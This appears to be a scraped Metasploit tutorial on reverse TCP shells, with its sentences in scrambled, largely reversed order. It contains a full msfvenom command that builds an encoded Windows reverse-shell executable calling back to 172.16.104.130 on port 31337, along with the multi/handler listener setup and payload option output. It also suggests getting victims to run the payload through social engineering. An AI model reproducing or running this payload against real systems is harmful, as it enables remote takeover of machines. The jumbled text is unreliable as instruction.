In a reverse shell, we open a connection from the victim server to the attacker's machine. In both of these situations, there is an Attacker mashing and a victim server. Reverse TCP vs Bind TCP shellįirst of all, let's clarify what is a reverse TCP shell, What is a bind shell and how they work. It can create a reverse TCP connection to our mashing. ![]() For example, we use msfvenom to create a web shell in PHP and use Metasploit to get the session. So in today's tutorial, we are going to see how we can build a reverse TCP shell with Metasploit. I hope to start a tutorial series on the Metasploit framework and its partner programs. It can automate the exploitation process, generate shellcodes, use it as a listener, etc. The multi/handler handles the exploit for us and presents us our shell. Now that we have everything set up and ready to go, we run exploit for the multi/handler and execute our generated executable on the victim. ![]() Payload options (windows/shell/reverse_tcp):ĮXITFUNC thread yes Exit technique: seh, thread, process msf exploit( handler) > set payload windows/shell/reverse_tcp ![]() When using the exploit/multi/handler module, we still need to tell it which payload to expect so we configure it to have the same settings as the executable we generated. Now, we will use multi/handler, which is a stub that handles exploits launched outside of the framework. Now we see we have a Windows executable ready to go. tmp/1.exe: PE32 executable (GUI) Intel 80386, for MS Windows X86/shikata_ga_nai chosen with final size 326 X86/shikata_ga_nai succeeded with size 326 (iteration=0) Connect back to the msfvenom -a x86 -platform windows -p windows/shell/reverse_tcp LHOST=172.16.104.130 LPORT=31337 -b "\x00" -e x86/shikata_ga_nai -f exe -o /tmp/1.exeĪttempting to encode payload with 1 iterations of x86/shikata_ga_nai Name Current Setting Required DescriptionĮXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) Module: payload/windows/shell/reverse_tcp Name: Windows Command Shell, Reverse TCP Stager Options for payload/windows/shell/reverse_tcp: msfvenom -payload-options -p windows/shell/reverse_tcp We’ll generate a Windows reverse shell executable that will connect back to us on port 31337. We are interested in the executable output, which is provided by the -f exe option. ![]() This command can be used for generating payloads to be used in many locations and offers a variety of output options, from perl to C to raw. To do this, we will use the command line tool msfvenom. We will generate a reverse shell payload, execute it on a remote system, and get our shell. Let’s look at a quick example of how to do this. This can be very useful in situations such as social engineering if you can get a user to run your payload for you, there is no reason to go through the trouble of exploiting any software. One of these is the ability to generate an executable from a Metasploit payload. It seems like Metasploit is full of interesting and useful features.
